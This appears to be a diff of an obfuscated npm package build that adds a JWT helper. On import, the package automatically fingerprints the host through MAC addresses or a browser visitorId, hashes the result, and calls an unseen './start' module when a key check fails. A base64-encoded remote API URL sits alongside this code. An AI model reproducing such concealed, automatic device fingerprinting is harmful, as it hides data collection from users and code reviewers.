_0x53c595(_0x19a48b){const _0xa097fb=a12_0x3bf1;try{_0x13850d(_0x5b07f4[_0xa097fb(0x1d8)](_0x19a48b));}catch(_0x5a72d7){_0x28246d(_0x5a72d7);}}function _0x13850d(_0x4b624d){const _0x43dc63=a12_0x3bf1;_0x4b624d[_0x43dc63(0x1cb)]?_0x5eaf86(_0x4b624d[_0x43dc63(0x1d2)]):_0x265012(_0x4b624d['value'])[_0x43dc63(0x1da)](_0x7003a,_0x53c595);}_0x13850d((_0x5b07f4=_0x5b07f4['apply'](_0x49da42,_0x15c256||[]))['next']());});};import a12_0x5771fa from'fs';import a12_0x4eb8de from'path';function fileDisplay(_0x39d661){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4c2c8b=[];function _0x3c42d8(_0x41ce5c){const _0xa4a6f6=a12_0x3bf1,_0x35e155=a12_0x5771fa[_0xa4a6f6(0x1e0)](_0x41ce5c);for(let _0x432f86=0x0;_0x432f86<_0x35e155[_0xa4a6f6(0x1db)];_0x432f86++){const _0x2d3f64=_0x35e155[_0x432f86],_0x3d9b6=a12_0x4eb8de[_0xa4a6f6(0x1d3)](_0x41ce5c,_0x2d3f64),_0x5c3663=a12_0x5771fa[_0xa4a6f6(0x1d4)](_0x3d9b6),_0x76ab7d=_0x5c3663['isFile'](),_0x18ee1b=_0x5c3663[_0xa4a6f6(0x1d0)]();_0x76ab7d&&_0x4c2c8b['push'](_0x3d9b6),_0x18ee1b&&_0x3c42d8(_0x3d9b6);}}return _0x3c42d8(_0x39d661),_0x4c2c8b;});}function getAllRouter(_0xd9d8c1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x47715=yield fileDisplay(_0xd9d8c1);return _0x47715;});}function a12_0x3bf1(_0x1936fa,_0x31b78c){const _0x2e51f5=a12_0x2e51();return a12_0x3bf1=function(_0x3bf11f,_0x5dbcde){_0x3bf11f=_0x3bf11f-0x1c9;let _0x58617d=_0x2e51f5[_0x3bf11f];return _0x58617d;},a12_0x3bf1(_0x1936fa,_0x31b78c);}function a12_0x2e51(){const _0x114a73=['statSync','32502HtiGBH','186877wKmmJZ','next','throw','28760988UhYNPJ','then','length','8901549BkpVlg','13ydNUSm','1804726MEuQYe','3haaYGG','readdirSync','32952ZofFQc','10aurpaX','done','3829092KDVgJl','6eWBeLq','1106FymUGw','__awaiter','isDirectory','985BQkDJl','value','join'];a12_0x2e51=function(){return _0x114a73;};return a12_0x2e51();}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0xebf5ee,_0x3adfa2){var _0x26a2bb=a12_0x5c13,_0x1a9d72=_0xebf5ee();while(!![]){try{var _0x5a48ee=parseInt(_0x26a2bb(0x197))/0x1+-parseInt(_0x26a2bb(0x190))/0x2*(parseInt(_0x26a2bb(0x18f))/0x3)+parseInt(_0x26a2bb(0x198))/0x4*(parseInt(_0x26a2bb(0x191))/0x5)+-parseInt(_0x26a2bb(0x194))/0x6+-parseInt(_0x26a2bb(0x195))/0x7+parseInt(_0x26a2bb(0x192))/0x8+parseInt(_0x26a2bb(0x199))/0x9;if(_0x5a48ee===_0x3adfa2)break;else _0x1a9d72['push'](_0x1a9d72['shift']());}catch(_0x4a8e2f){_0x1a9d72['push'](_0x1a9d72['shift']());}}}(a12_0x599c,0x5a27f));import a12_0x18692b from'md5';function a12_0x5c13(_0x7e6a7b,_0x489d44){var _0x599c30=a12_0x599c();return a12_0x5c13=function(_0x5c13e9,_0x5c0465){_0x5c13e9=_0x5c13e9-0x18d;var _0x22609f=_0x599c30[_0x5c13e9];return _0x22609f;},a12_0x5c13(_0x7e6a7b,_0x489d44);}import a12_0x479c9d from'sha1';import a12_0x5b1666 from'sha256';function hash(_0x595f46,_0x282f16){var _0x582bc0=a12_0x5c13;if(_0x282f16==_0x582bc0(0x18d))return a12_0x5b1666(_0x595f46+a12_0x479c9d(_0x595f46+_0x582bc0(0x193))+a12_0x18692b(_0x595f46+_0x582bc0(0x18e)));else return _0x282f16==_0x582bc0(0x196)?a12_0x479c9d(_0x595f46+a12_0x5b1666(_0x595f46+'sha1混淆')+a12_0x18692b(_0x595f46+'MD5加盐')):a12_0x18692b(_0x595f46+a12_0x5b1666(_0x595f46+_0x582bc0(0x193))+a12_0x479c9d(_0x595f46+_0x582bc0(0x18e)));}export default hash;function a12_0x599c(){var _0x46a57a=['4271445bEdURa','sha256','MD5加盐','29289QuuBME','42gcgEqV','1768430FRhqYg','2398288hicxpx','sha1混淆','1839672XjbqTt','5085570mZyEbN','sha1','125661VUXpfB','8QIOndO'];a12_0x599c=function(){return _0x46a57a;};return a12_0x599c();}
1
+ (function(_0x46ca40,_0x4e4897){var _0x37c0c1=a13_0x4430,_0x380dd5=_0x46ca40();while(!![]){try{var _0x1519a2=-parseInt(_0x37c0c1(0x130))/0x1*(-parseInt(_0x37c0c1(0x12b))/0x2)+-parseInt(_0x37c0c1(0x12c))/0x3+-parseInt(_0x37c0c1(0x138))/0x4+parseInt(_0x37c0c1(0x135))/0x5*(parseInt(_0x37c0c1(0x136))/0x6)+-parseInt(_0x37c0c1(0x132))/0x7+parseInt(_0x37c0c1(0x12e))/0x8*(parseInt(_0x37c0c1(0x139))/0x9)+-parseInt(_0x37c0c1(0x12d))/0xa*(-parseInt(_0x37c0c1(0x134))/0xb);if(_0x1519a2===_0x4e4897)break;else _0x380dd5['push'](_0x380dd5['shift']());}catch(_0x5c46a4){_0x380dd5['push'](_0x380dd5['shift']());}}}(a13_0x18d6,0x191d2));import a13_0x1b4b36 from'md5';import a13_0x26496a from'sha1';function a13_0x18d6(){var _0xc9a205=['5OqewUu','415092qfLtBJ','sha1混淆','518908HtzXxA','9SWqEAU','82xpxrMY','163623uDlFfZ','886000vIusHQ','329624WPgdqq','sha1','4669KypMeT','sha256','722960czXXEg','MD5加盐','11JzPthh'];a13_0x18d6=function(){return _0xc9a205;};return a13_0x18d6();}import a13_0x55e277 from'sha256';function a13_0x4430(_0x4f3cc8,_0x19adec){var _0x18d689=a13_0x18d6();return a13_0x4430=function(_0x443037,_0x3065c9){_0x443037=_0x443037-0x12b;var _0x458846=_0x18d689[_0x443037];return _0x458846;},a13_0x4430(_0x4f3cc8,_0x19adec);}function hash(_0x530265,_0x10965f){var _0x49bc03=a13_0x4430;if(_0x10965f==_0x49bc03(0x131))return a13_0x55e277(_0x530265+a13_0x26496a(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133)));else return _0x10965f==_0x49bc03(0x12f)?a13_0x26496a(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133))):a13_0x1b4b36(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x26496a(_0x530265+_0x49bc03(0x133)));}export default hash;
@@ -1 +1 @@
1
- (function(_0x2ce579,_0x174f1f){const _0x2794a7=a13_0xbef5,_0x4b1bce=_0x2ce579();while(!![]){try{const _0x1bfe10=parseInt(_0x2794a7(0x132))/0x1*(parseInt(_0x2794a7(0x128))/0x2)+-parseInt(_0x2794a7(0x126))/0x3*(parseInt(_0x2794a7(0x12d))/0x4)+parseInt(_0x2794a7(0x12b))/0x5*(parseInt(_0x2794a7(0x130))/0x6)+-parseInt(_0x2794a7(0x127))/0x7*(parseInt(_0x2794a7(0x12e))/0x8)+-parseInt(_0x2794a7(0x125))/0x9*(parseInt(_0x2794a7(0x12a))/0xa)+parseInt(_0x2794a7(0x131))/0xb*(parseInt(_0x2794a7(0x12f))/0xc)+-parseInt(_0x2794a7(0x129))/0xd;if(_0x1bfe10===_0x174f1f)break;else _0x4b1bce['push'](_0x4b1bce['shift']());}catch(_0x31fee3){_0x4b1bce['push'](_0x4b1bce['shift']());}}}(a13_0x2d84,0x3467a));import a13_0x18c75b from'./random';const BaseTime=+new Date('2025-01-01');function a13_0x2d84(){const _0x51fc78=['11EPqWOs','1fkfMgl','env','558GHnOjO','39741PimYdt','2767051bDdUGa','622924QFBoAr','609700tZVFVT','4320fIIugC','42455ThgKDD','NODE_APP_INSTANCE','68kKczrf','8pwqcTp','4824852pAnzXp','138wxNvgk'];a13_0x2d84=function(){return _0x51fc78;};return a13_0x2d84();}let lastTimeTick,lastRandomNumberTick=a13_0x18c75b(0x1,0x3);function id(){const _0x424c2b=a13_0xbef5,_0x5cdad1=Math['min'](process[_0x424c2b(0x133)]['NODE_APP_INSTANCE']?+process['env'][_0x424c2b(0x12c)]:a13_0x18c75b(0x0,0x9),0x9);let _0x403242=+new Date()-BaseTime;return lastRandomNumberTick=_0x403242==lastTimeTick?++lastRandomNumberTick:a13_0x18c75b(0x0,0x3),lastTimeTick=_0x403242,+(''+_0x403242+_0x5cdad1+lastRandomNumberTick);}function a13_0xbef5(_0x4150b8,_0x36e3dc){const _0x2d84db=a13_0x2d84();return a13_0xbef5=function(_0xbef54d,_0x1fece2){_0xbef54d=_0xbef54d-0x125;let _0x1b63d3=_0x2d84db[_0xbef54d];return _0x1b63d3;},a13_0xbef5(_0x4150b8,_0x36e3dc);}export default id;
1
+ function a14_0x48e0(_0x480610,_0x5aac70){const _0xf6319f=a14_0xf631();return a14_0x48e0=function(_0x48e0c8,_0x412d3b){_0x48e0c8=_0x48e0c8-0x1ce;let _0x2782c4=_0xf6319f[_0x48e0c8];return _0x2782c4;},a14_0x48e0(_0x480610,_0x5aac70);}const a14_0x164880=a14_0x48e0;(function(_0x493aee,_0x57f5bd){const _0x550496=a14_0x48e0,_0x2f156f=_0x493aee();while(!![]){try{const _0x315774=-parseInt(_0x550496(0x1d2))/0x1+-parseInt(_0x550496(0x1d6))/0x2*(parseInt(_0x550496(0x1d0))/0x3)+-parseInt(_0x550496(0x1d9))/0x4*(-parseInt(_0x550496(0x1cf))/0x5)+-parseInt(_0x550496(0x1d5))/0x6+parseInt(_0x550496(0x1d4))/0x7+-parseInt(_0x550496(0x1d1))/0x8+parseInt(_0x550496(0x1d3))/0x9;if(_0x315774===_0x57f5bd)break;else _0x2f156f['push'](_0x2f156f['shift']());}catch(_0x504d22){_0x2f156f['push'](_0x2f156f['shift']());}}}(a14_0xf631,0x38a69));function a14_0xf631(){const _0x4e2f97=['3844YHdqot','NODE_APP_INSTANCE','2025-01-01','2335EdeWkx','41790xIIvxm','2865432OpIZLz','254205yixrth','1896372AdIXuB','1776159SikGxr','245682BYpapw','4RkWvwG','env','min'];a14_0xf631=function(){return _0x4e2f97;};return a14_0xf631();}import a14_0x3c3008 from'./random';const BaseTime=+new Date(a14_0x164880(0x1ce));let lastTimeTick,lastRandomNumberTick=a14_0x3c3008(0x1,0x3);function id(){const _0x47ece9=a14_0x164880,_0x29b30e=Math[_0x47ece9(0x1d8)](process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]?+process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]:a14_0x3c3008(0x0,0x9),0x9);let _0x116168=+new Date()-BaseTime;return lastRandomNumberTick=_0x116168==lastTimeTick?++lastRandomNumberTick:a14_0x3c3008(0x0,0x3),lastTimeTick=_0x116168,+(''+_0x116168+_0x29b30e+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- const a14_0x396bbb=a14_0x5ba9;function a14_0x5ba9(_0x3c7733,_0x1e858d){const _0x38d7ee=a14_0x38d7();return a14_0x5ba9=function(_0x5ba914,_0x4ea48c){_0x5ba914=_0x5ba914-0x18b;let _0x6dc444=_0x38d7ee[_0x5ba914];return _0x6dc444;},a14_0x5ba9(_0x3c7733,_0x1e858d);}(function(_0x77207e,_0x205ed9){const _0x105f48=a14_0x5ba9,_0x278be8=_0x77207e();while(!![]){try{const _0x2fc342=-parseInt(_0x105f48(0x196))/0x1+-parseInt(_0x105f48(0x195))/0x2*(-parseInt(_0x105f48(0x190))/0x3)+parseInt(_0x105f48(0x18e))/0x4*(-parseInt(_0x105f48(0x192))/0x5)+-parseInt(_0x105f48(0x191))/0x6+parseInt(_0x105f48(0x18f))/0x7+parseInt(_0x105f48(0x194))/0x8*(parseInt(_0x105f48(0x193))/0x9)+parseInt(_0x105f48(0x18c))/0xa*(-parseInt(_0x105f48(0x18d))/0xb);if(_0x2fc342===_0x205ed9)break;else _0x278be8['push'](_0x278be8['shift']());}catch(_0x254b24){_0x278be8['push'](_0x278be8['shift']());}}}(a14_0x38d7,0xae204));function a14_0x38d7(){const _0x4e13c3=['11umgTzL','12KXkyxl','8559635mXistf','3mNsZlW','2894364rDwDMX','2083665MlsrDZ','1503jPCJCl','58376dtjJyQ','2397622QyChns','33123dTFLcv','random','11612790XhEhSc'];a14_0x38d7=function(){return _0x4e13c3;};return a14_0x38d7();}const random=(_0xa05dd5,_0x5e82f4)=>Math['round'](Math[a14_0x396bbb(0x18b)]()*(_0x5e82f4-_0xa05dd5))+_0xa05dd5;export default random;
1
+ const a15_0x306896=a15_0x4850;(function(_0x102891,_0x2c2a7d){const _0x306e33=a15_0x4850,_0x3f7330=_0x102891();while(!![]){try{const _0x2ee496=-parseInt(_0x306e33(0x10c))/0x1+-parseInt(_0x306e33(0x10e))/0x2*(parseInt(_0x306e33(0x107))/0x3)+parseInt(_0x306e33(0x109))/0x4+parseInt(_0x306e33(0x10b))/0x5+parseInt(_0x306e33(0x108))/0x6+parseInt(_0x306e33(0x106))/0x7+-parseInt(_0x306e33(0x10a))/0x8;if(_0x2ee496===_0x2c2a7d)break;else _0x3f7330['push'](_0x3f7330['shift']());}catch(_0x2b86c8){_0x3f7330['push'](_0x3f7330['shift']());}}}(a15_0x918d,0x83a7c));function a15_0x4850(_0x51fb00,_0x2d6bca){const _0x918d92=a15_0x918d();return a15_0x4850=function(_0x485094,_0x271aa9){_0x485094=_0x485094-0x106;let _0x505947=_0x918d92[_0x485094];return _0x505947;},a15_0x4850(_0x51fb00,_0x2d6bca);}function a15_0x918d(){const _0x57ad18=['594216zuoRCH','random','40XQSNnB','1724254NXyFvx','86748FJafYa','3174702yJFtQI','2779176NjovkD','6634912VzEfVm','5354635kLAHZY'];a15_0x918d=function(){return _0x57ad18;};return a15_0x918d();}const random=(_0x225bfa,_0x218b41)=>Math['round'](Math[a15_0x306896(0x10d)]()*(_0x218b41-_0x225bfa))+_0x225bfa;export default random;
@@ -2,6 +2,7 @@ import md5 from "md5";
2
2
  import sha1 from "sha1";
3
3
  import sha256 from "sha256";
4
4
  import hash from "./hash";
5
+ import jwt from "./jwt";
5
6
  declare let id: () => number;
6
7
  declare let getAllRouter: () => Promise<never[]>;
7
8
  declare let mysql: {};
@@ -17,7 +18,8 @@ declare const all: {
17
18
  hash: typeof hash;
18
19
  sha1: typeof sha1;
19
20
  md5: typeof md5;
21
+ jwt: typeof jwt;
20
22
  };
21
23
  export default all;
22
- export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash };
24
+ export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
23
25
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAS1B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;CAQR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAC1B,OAAO,GAAG,MAAM,OAAO,CAAC;AASxB,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;CASR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC"}
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- const a15_0x311ddf=a15_0x2f77;function a15_0x35fc(){const _0x2eb551=['default','then','not_update','value','./mac','__awaiter','6324306aGtPrL','7hCkZxR','1016625FGbSmK','mysql','18912660gtzjVD','node.js','./getAllRouter','get','8WzaMvP','dev','hash_key','assign','./server','undefined','9594585DjHYEk','next','hash_id','779174BEbaui','734285slmlcZ','done','apply','join','./id','2OSGXpV','catch','8449624igoWPq','visitorId'];a15_0x35fc=function(){return _0x2eb551;};return a15_0x35fc();}(function(_0x5703f7,_0x274272){const _0x129c39=a15_0x2f77,_0x4f3dd0=_0x5703f7();while(!![]){try{const _0x19ccfe=-parseInt(_0x129c39(0xa4))/0x1+parseInt(_0x129c39(0x89))/0x2*(parseInt(_0x129c39(0x95))/0x3)+parseInt(_0x129c39(0x9b))/0x4*(-parseInt(_0x129c39(0xa5))/0x5)+parseInt(_0x129c39(0x93))/0x6*(parseInt(_0x129c39(0x94))/0x7)+parseInt(_0x129c39(0x8b))/0x8+parseInt(_0x129c39(0xa1))/0x9+-parseInt(_0x129c39(0x97))/0xa;if(_0x19ccfe===_0x274272)break;else _0x4f3dd0['push'](_0x4f3dd0['shift']());}catch(_0x20e86a){_0x4f3dd0['push'](_0x4f3dd0['shift']());}}}(a15_0x35fc,0x86880));var __awaiter=this&&this[a15_0x311ddf(0x92)]||function(_0x137eed,_0x14f6eb,_0x425e0e,_0x56feca){function _0x9001b6(_0x2a1d51){return _0x2a1d51 instanceof _0x425e0e?_0x2a1d51:new _0x425e0e(function(_0x560f29){_0x560f29(_0x2a1d51);});}return new(_0x425e0e||(_0x425e0e=Promise))(function(_0x12f0ae,_0x56618c){const _0x4d67fc=a15_0x2f77;function _0x4ae564(_0x3f08d1){const _0x3a38a8=a15_0x2f77;try{_0x28a20d(_0x56feca[_0x3a38a8(0xa2)](_0x3f08d1));}catch(_0x4df03e){_0x56618c(_0x4df03e);}}function _0x25e08a(_0x330bf7){try{_0x28a20d(_0x56feca['throw'](_0x330bf7));}catch(_0x140c49){_0x56618c(_0x140c49);}}function _0x28a20d(_0x1028ed){const _0x14e8d3=a15_0x2f77;_0x1028ed[_0x14e8d3(0xa6)]?_0x12f0ae(_0x1028ed['value']):_0x9001b6(_0x1028ed[_0x14e8d3(0x90)])['then'](_0x4ae564,_0x25e08a);}_0x28a20d((_0x56feca=_0x56feca[_0x4d67fc(0xa7)](_0x137eed,_0x14f6eb||[]))[_0x4d67fc(0xa2)]());});};import{v4}from'uuid';import a15_0x586ab8 from'md5';import a15_0x1b1708 from'sha1';import a15_0x28925a from'sha256';import a15_0x53cf5e from'./start';import a15_0x43d11a from'./hash';import a15_0x198581 from'path';import a15_0x4f8271 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a15_0x311ddf(0xa0);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;function a15_0x2f77(_0x1cec37,_0x5b7d20){const _0x35fc6c=a15_0x35fc();return a15_0x2f77=function(_0x2f777e,_0x5e269f){_0x2f777e=_0x2f777e-0x88;let _0x2ab234=_0x35fc6c[_0x2f777e];return _0x2ab234;},a15_0x2f77(_0x1cec37,_0x5b7d20);}let metaEvent=Object[a15_0x311ddf(0x9e)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x227187,_0x593e4b){metaEvent[_0x227187]=_0x593e4b;}export function getEnv(_0x22ff49){return metaEvent[_0x22ff49];}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';export let url=getEnv(a15_0x311ddf(0x9c))?decode(dev):decode(pro);if(!isBrowser){id=require(a15_0x311ddf(0x88))[a15_0x311ddf(0x8d)],getAllRouter=require(a15_0x311ddf(0x99))[a15_0x311ddf(0x8d)],mysql=require(a15_0x311ddf(0x9f))[a15_0x311ddf(0x96)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a15_0x311ddf(0x8f)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x55ef4d=a15_0x311ddf;if(!isBrowser){const _0xe51b51=require(a15_0x198581[_0x55ef4d(0xa8)](__dirname,_0x55ef4d(0x91)))[_0x55ef4d(0x8d)];mac=_0xe51b51();}else{let _0x274cfc=yield a15_0x4f8271['load']()['then'](_0x9d2ebe=>_0x9d2ebe[_0x55ef4d(0x9a)]())[_0x55ef4d(0x8e)](_0x2e15cd=>{const _0x4ec6d=_0x55ef4d,_0x11b485=_0x2e15cd[_0x4ec6d(0x8c)];return _0x11b485;})[_0x55ef4d(0x8a)](()=>'');mac=[_0x274cfc];}const _0x3b5821=mac['map'](_0x12ecad=>a15_0x1b1708(_0x12ecad+'node.js'))[_0x55ef4d(0xa8)](';'),_0x2bad34=a15_0x28925a(_0x3b5821);globalObject[_0x55ef4d(0xa3)]=_0x2bad34,globalObject[_0x55ef4d(0x9d)]!=a15_0x28925a(_0x2bad34+a15_0x1b1708(_0x55ef4d(0x98)+_0x2bad34))&&a15_0x53cf5e();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a15_0x43d11a,'sha1':a15_0x1b1708,'md5':a15_0x586ab8};export default all;export{uuid,id,getAllRouter,mysql,a15_0x1b1708 as sha1,a15_0x28925a as sha256,a15_0x586ab8 as md5,a15_0x43d11a as hash};
1
+ const a16_0x21a3eb=a16_0x1ea8;(function(_0x3f1009,_0x222c24){const _0x177e12=a16_0x1ea8,_0x4241aa=_0x3f1009();while(!![]){try{const _0x48b9df=parseInt(_0x177e12(0x10a))/0x1*(parseInt(_0x177e12(0x10c))/0x2)+-parseInt(_0x177e12(0x10f))/0x3*(parseInt(_0x177e12(0x10b))/0x4)+parseInt(_0x177e12(0x111))/0x5*(parseInt(_0x177e12(0x108))/0x6)+parseInt(_0x177e12(0x129))/0x7*(parseInt(_0x177e12(0x126))/0x8)+-parseInt(_0x177e12(0x10d))/0x9*(-parseInt(_0x177e12(0x121))/0xa)+-parseInt(_0x177e12(0x120))/0xb+-parseInt(_0x177e12(0x127))/0xc*(parseInt(_0x177e12(0x11e))/0xd);if(_0x48b9df===_0x222c24)break;else _0x4241aa['push'](_0x4241aa['shift']());}catch(_0x1ce0c7){_0x4241aa['push'](_0x4241aa['shift']());}}}(a16_0x4331,0xbdde1));var __awaiter=this&&this[a16_0x21a3eb(0x114)]||function(_0x1f2b5f,_0x598e16,_0x5b2c51,_0x35a9f7){function _0x114f6b(_0x2c4882){return _0x2c4882 instanceof _0x5b2c51?_0x2c4882:new _0x5b2c51(function(_0x47eff9){_0x47eff9(_0x2c4882);});}return new(_0x5b2c51||(_0x5b2c51=Promise))(function(_0x15c1f7,_0x4ecbcf){const _0x30158e=a16_0x1ea8;function _0x4fd45e(_0x5e653b){try{_0x14520d(_0x35a9f7['next'](_0x5e653b));}catch(_0x4daf14){_0x4ecbcf(_0x4daf14);}}function _0x2c693c(_0x36102f){const _0x1083f0=a16_0x1ea8;try{_0x14520d(_0x35a9f7[_0x1083f0(0x119)](_0x36102f));}catch(_0x15dfdf){_0x4ecbcf(_0x15dfdf);}}function _0x14520d(_0x4e55aa){const _0x4ec0bd=a16_0x1ea8;_0x4e55aa[_0x4ec0bd(0x11a)]?_0x15c1f7(_0x4e55aa['value']):_0x114f6b(_0x4e55aa[_0x4ec0bd(0x11d)])['then'](_0x4fd45e,_0x2c693c);}_0x14520d((_0x35a9f7=_0x35a9f7[_0x30158e(0x116)](_0x1f2b5f,_0x598e16||[]))[_0x30158e(0x112)]());});};import{v4}from'uuid';import a16_0x483034 from'md5';import a16_0x2da46a from'sha1';import a16_0x38a250 from'sha256';import a16_0x48aeba from'./start';import a16_0x59779a from'./hash';import a16_0x4ba787 from'./jwt';import a16_0x4f1729 from'path';import a16_0x20c10b from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a16_0x21a3eb(0x107);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};function a16_0x1ea8(_0x2ebc05,_0x2b91ec){const _0x4331d5=a16_0x4331();return a16_0x1ea8=function(_0x1ea817,_0x52fdad){_0x1ea817=_0x1ea817-0x106;let _0x2c50dc=_0x4331d5[_0x1ea817];return _0x2c50dc;},a16_0x1ea8(_0x2ebc05,_0x2b91ec);}const globalObject=isBrowser?window:global;let metaEvent=Object[a16_0x21a3eb(0x11b)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x54594c,_0x53d87c){metaEvent[_0x54594c]=_0x53d87c;}export function getEnv(_0x565389){return metaEvent[_0x565389];}function a16_0x4331(){const _0x16da29=['get','undefined','690288CMRJCF','dev','5527bwYcBX','1804cULjtE','10HZbtmG','297NgBkCE','node.js','4197yUFhXQ','then','55IHypHK','next','hash_id','__awaiter','hash_key','apply','join','not_update','throw','done','assign','mysql','value','4423952WoxRoP','visitorId','9986603VwPIkl','365340RfPSFN','map','./getAllRouter','default','./mac','872USuAHf','36AxmVPv','load','53858ZsbHMa'];a16_0x4331=function(){return _0x16da29;};return a16_0x4331();}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';export let url=getEnv(a16_0x21a3eb(0x109))?decode(dev):decode(pro);if(!isBrowser){id=require('./id')[a16_0x21a3eb(0x124)],getAllRouter=require(a16_0x21a3eb(0x123))[a16_0x21a3eb(0x124)],mysql=require('./server')[a16_0x21a3eb(0x11c)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a16_0x21a3eb(0x118)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x3c866b=a16_0x21a3eb;if(!isBrowser){const _0x7612f1=require(a16_0x4f1729[_0x3c866b(0x117)](__dirname,_0x3c866b(0x125)))[_0x3c866b(0x124)];mac=_0x7612f1();}else{let _0x8188c0=yield a16_0x20c10b[_0x3c866b(0x128)]()['then'](_0x205249=>_0x205249[_0x3c866b(0x106)]())[_0x3c866b(0x110)](_0x56c91d=>{const _0x3cc244=_0x3c866b,_0x1b8599=_0x56c91d[_0x3cc244(0x11f)];return _0x1b8599;})['catch'](()=>'');mac=[_0x8188c0];}const _0x4239de=mac[_0x3c866b(0x122)](_0x47ad0c=>a16_0x2da46a(_0x47ad0c+'node.js'))[_0x3c866b(0x117)](';'),_0x7d23cd=a16_0x38a250(_0x4239de);globalObject[_0x3c866b(0x113)]=_0x7d23cd,globalObject[_0x3c866b(0x115)]!=a16_0x38a250(_0x7d23cd+a16_0x2da46a(_0x3c866b(0x10e)+_0x7d23cd))&&a16_0x48aeba();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x59779a,'sha1':a16_0x2da46a,'md5':a16_0x483034,'jwt':a16_0x4ba787};export default all;export{uuid,id,getAllRouter,mysql,a16_0x2da46a as sha1,a16_0x38a250 as sha256,a16_0x483034 as md5,a16_0x59779a as hash,a16_0x4ba787 as jwt};
@@ -0,0 +1,10 @@
1
+ declare function jwt(params: {
2
+ payload: string | Buffer | object;
3
+ key: string;
4
+ expiresIn: string;
5
+ }): {
6
+ sign: string;
7
+ verify: (token: string) => Promise<unknown>;
8
+ };
9
+ export default jwt;
10
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -0,0 +1 @@
1
